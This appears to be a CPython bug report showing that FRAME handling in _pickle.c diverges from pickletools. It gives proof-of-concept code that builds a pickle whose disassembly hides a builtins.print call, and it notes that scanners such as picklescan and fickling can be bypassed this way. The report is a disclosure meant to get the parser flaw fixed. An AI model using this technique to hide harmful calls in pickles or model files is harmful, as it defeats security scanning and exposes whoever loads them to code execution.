_pickle.c/pickletools.py FRAME divergence

[quasar098]

Bug report

Bug description:

I see that there is a previous closed issue on this topic: #128853. However, I think this deserves more attention since it allows for complete divergence between _pickle.c and pickletools.py for all python versions since 3.4.0 (and possibly earlier, but I have not tested any version before 3.4.0). This bug makes it very difficult to actually know what goes on when pickle.loads(pkl) is run, since it could be shown as totally different in pickletools.dis(pkl).

Thanks to @Quasar0147 for the initial discovery of this (example 2).

from pickle import *
from io import BytesIO
from struct import pack
from pickletools import dis

p2 = b''
p2 += GLOBAL + b'builtins\nprint\n' + UNICODE + b'Hello, world!\n' + TUPLE1 + REDUCE

p = b''
p += PROTO + b'\x05'
p += NONE
p += UNICODE
p += b'a' * (8192 * 16 - 17)
p += b'\n'
p += POP
p += MARK
p += FRAME + pack('<Q', 2)
p += BINBYTES + b'\x07\x01\x00\x00'
p += b'\x00' + b'\x00' + (p2 + MARK).ljust(256 + 5, NONE) + POP_MARK
p += STOP

with open('bug.pkl', 'wb') as f:
    f.write(p)

dis(p)
print('file:', Unpickler(open('bug.pkl', 'rb')).load())
print('bytesio:', Unpickler(BytesIO(p)).load())

Output:

user@device:~$ python3.13 poc.py
    0: \x80 PROTO      5
    2: N    NONE
    3: V    UNICODE    'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... ( excess of a's omitted for brevity ) ... aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
131060: 0    POP
131061: (    MARK
131062: \x95     FRAME      2
131071: B        BINBYTES   b'\x00\x00cbuiltins\nprint\nVHello, world!\n\x85R(NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN'
131339: 1        POP_MARK   (MARK at 131061)
131340: .    STOP
highest protocol among opcodes = 4
Hello, world!
file: None
Hello, world!
bytesio: None

There is no indication when disassembled using pickletools that this pickle will call builtins.print, which is concerning, and also why I am opening this issue.

Note: for an unknown reason, the "bytesio" line triggering builtins.print does not occur on python 3.15. It does, however, end up calling builtins.print for for 3.13 and below.

I have investigated this a bit and found that the _pickle.c buffering system is to blame. As discussed in gh-128853, the FRAME opcode is not correctly implemented to PEP 3154 standards. Pickle opcodes can indeed straddle frame boundaries.

Simpler example (tested on python 3.13 only):

from pickle import *
from io import BytesIO

p = b''
p += PROTO + b'\x05'
p += FRAME + b'\x06\x00\x00\x00\x00\x00\x00\x00'
p += UNICODE + b'helloworld\n'
p += STOP

print(Unpickler(BytesIO(p)).load())

Output:

world

When the FRAME opcode is reached, 6 bytes Vhello are read into the buffer. The V (UNICODE opcode byte) is correctly used. However, on trying to read the string, _Unpickler_Readline does this:

/* Read a line from the input stream/buffer. If we run off the end of the input
   before hitting \n, raise an error.

   Returns the number of chars read, or -1 on failure. */
static Py_ssize_t
_Unpickler_Readline(PickleState *state, UnpicklerObject *self, char **result)
{
    Py_ssize_t i, num_read;

    for (i = self->next_read_idx; i < self->input_len; i++) {
        if (self->input_buffer[i] == '\n') {
            char *line_start = self->input_buffer + self->next_read_idx;
            num_read = i - self->next_read_idx + 1;
            self->next_read_idx = i + 1;
            return _Unpickler_CopyLine(self, line_start, num_read, result);
        }
    }
    if (!self->read)
        return bad_readline(state);

    /* there is no '\n' in the buffer ... _pickle.c completely disregards the old bytes and replace the entire buffer with a readline() call */
    num_read = _Unpickler_ReadFromFile(self, READ_WHOLE_LINE);
    if (num_read < 0)
        return -1;
    if (num_read == 0 || self->input_buffer[num_read - 1] != '\n')
        return bad_readline(state);
    self->next_read_idx = num_read;
    return _Unpickler_CopyLine(self, self->input_buffer, num_read, result);
}

The hello is discarded, and the world\n remains.

The same strategy can be applied to other opcodes, such as BINBYTES.

For file objects, data is PREFETCHed in chunks of 8192 * 16. It is required to align the fault in the pickle to 8192 * 16 bytes.

static Py_ssize_t
_Unpickler_ReadFromFile(UnpicklerObject *self, Py_ssize_t n)
{
        // ... some code before ...
        PyObject *len;
        /* Prefetch some data without advancing the file pointer, if possible */
        if (self->peek && n < PREFETCH) {  // <-- fails only on BytesIO because BytesIO has no .peek()
            len = PyLong_FromSsize_t(PREFETCH);
            if (len == NULL)
                return -1;
            data = _Pickle_FastCall(self->peek, len);
            if (data == NULL) {
                if (!PyErr_ExceptionMatches(PyExc_NotImplementedError))
                    return -1;
                /* peek() is probably not supported by the given file object */
                PyErr_Clear();
                Py_CLEAR(self->peek);
            }
            else {
                read_size = _Unpickler_SetStringInput(self, data);
                Py_DECREF(data);
                if (read_size < 0) {
                    return -1;
                }

                self->prefetched_idx = 0;
                if (n <= read_size)
                    return n;
            }
        }
        len = PyLong_FromSsize_t(n);
        if (len == NULL)
            return -1;
        data = _Pickle_FastCall(self->read, len);
        /// ... more code after ...
}

I am not sure of what a good potential patch could be, mostly because I am not fully familiar with how the buffering system is intended to function. I assume writing directly after the end of the buffer is not viable since it is a fixed allocated size. I was thinking a singly linked list of prefetched/framed chars may be too much complexity and/or bad for performance, but it might work.

CPython versions tested on:

3.10, 3.11, 3.12, 3.13, 3.15

Operating systems tested on:

Linux

[quasar098]

I am not sure if what the pickletools module is used for by end users matters to python/cpython. I will mention this either way: any "pickle scanner" project that uses pickletools directly to parse pickles for suspicious/malicious intentions (e.g. picklescan, modelscan, fickling) is bypassable.